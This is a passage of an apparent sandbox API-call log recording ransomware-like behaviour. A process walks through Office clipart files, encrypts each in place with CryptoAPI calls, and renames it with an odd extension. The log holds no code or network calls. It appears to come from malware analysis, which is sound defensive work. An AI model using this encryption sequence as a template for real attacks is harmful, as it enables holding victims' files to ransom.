ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0179.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.140] GetProcessHeap () returned 0x2a0000 [0179.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.140] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.141] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.143] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.143] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.143] GetProcessHeap () returned 0x2a0000 [0179.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.143] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.143] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.143] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.143] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.143] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.144] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.144] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.144] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.144] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x72f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x72f8, lpOverlapped=0x0) returned 1 [0179.145] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7300, dwBufLen=0x7300 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7300) returned 1 [0179.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.146] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7300, lpOverlapped=0x0) returned 1 [0179.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x73d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.146] SetEndOfFile (hFile=0x114) returned 1 [0179.149] GetProcessHeap () returned 0x2a0000 [0179.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.149] GetProcessHeap () returned 0x2a0000 [0179.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.kjhslgjkjdfg")) returned 1 [0179.151] CloseHandle (hObject=0x114) returned 1 [0179.151] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0179.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.152] GetProcessHeap () returned 0x2a0000 [0179.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.152] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.152] GetProcessHeap () returned 0x2a0000 [0179.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.152] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.152] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.152] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.155] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.155] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.156] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.156] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5350, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5350, lpOverlapped=0x0) returned 1 [0179.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5350, dwBufLen=0x5350 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5350) returned 1 [0179.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.158] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5350, lpOverlapped=0x0) returned 1 [0179.158] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.158] SetEndOfFile (hFile=0x114) returned 1 [0179.161] GetProcessHeap () returned 0x2a0000 [0179.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.161] GetProcessHeap () returned 0x2a0000 [0179.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.kjhslgjkjdfg")) returned 1 [0179.163] CloseHandle (hObject=0x114) returned 1 [0179.163] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0179.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.164] GetProcessHeap () returned 0x2a0000 [0179.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.164] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.168] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.168] GetProcessHeap () returned 0x2a0000 [0179.168] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.168] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.168] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.168] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.168] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.168] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.169] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.169] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.169] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.169] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x48be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x48be, lpOverlapped=0x0) returned 1 [0179.170] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x48c0, dwBufLen=0x48c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x48c0) returned 1 [0179.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.170] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x48c0, lpOverlapped=0x0) returned 1 [0179.171] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.171] SetEndOfFile (hFile=0x114) returned 1 [0179.174] GetProcessHeap () returned 0x2a0000 [0179.174] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.174] GetProcessHeap () returned 0x2a0000 [0179.174] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.kjhslgjkjdfg")) returned 1 [0179.175] CloseHandle (hObject=0x114) returned 1 [0179.175] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0179.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.178] GetProcessHeap () returned 0x2a0000 [0179.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.178] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.178] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.178] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.178] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.178] GetProcessHeap () returned 0x2a0000 [0179.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.178] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.178] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.178] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.181] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.181] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.181] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.181] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.181] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.181] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.181] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe60, lpOverlapped=0x0) returned 1 [0179.181] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe60, dwBufLen=0xe60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe60) returned 1 [0179.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.181] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe60, lpOverlapped=0x0) returned 1 [0179.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.182] SetEndOfFile (hFile=0x114) returned 1 [0179.184] GetProcessHeap () returned 0x2a0000 [0179.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.184] GetProcessHeap () returned 0x2a0000 [0179.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.kjhslgjkjdfg")) returned 1 [0179.186] CloseHandle (hObject=0x114) returned 1 [0179.186] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0179.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.187] GetProcessHeap () returned 0x2a0000 [0179.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.187] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.187] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.197] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.197] GetProcessHeap () returned 0x2a0000 [0179.197] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.197] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.197] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.197] WriteFile (in: hFile=0x114, 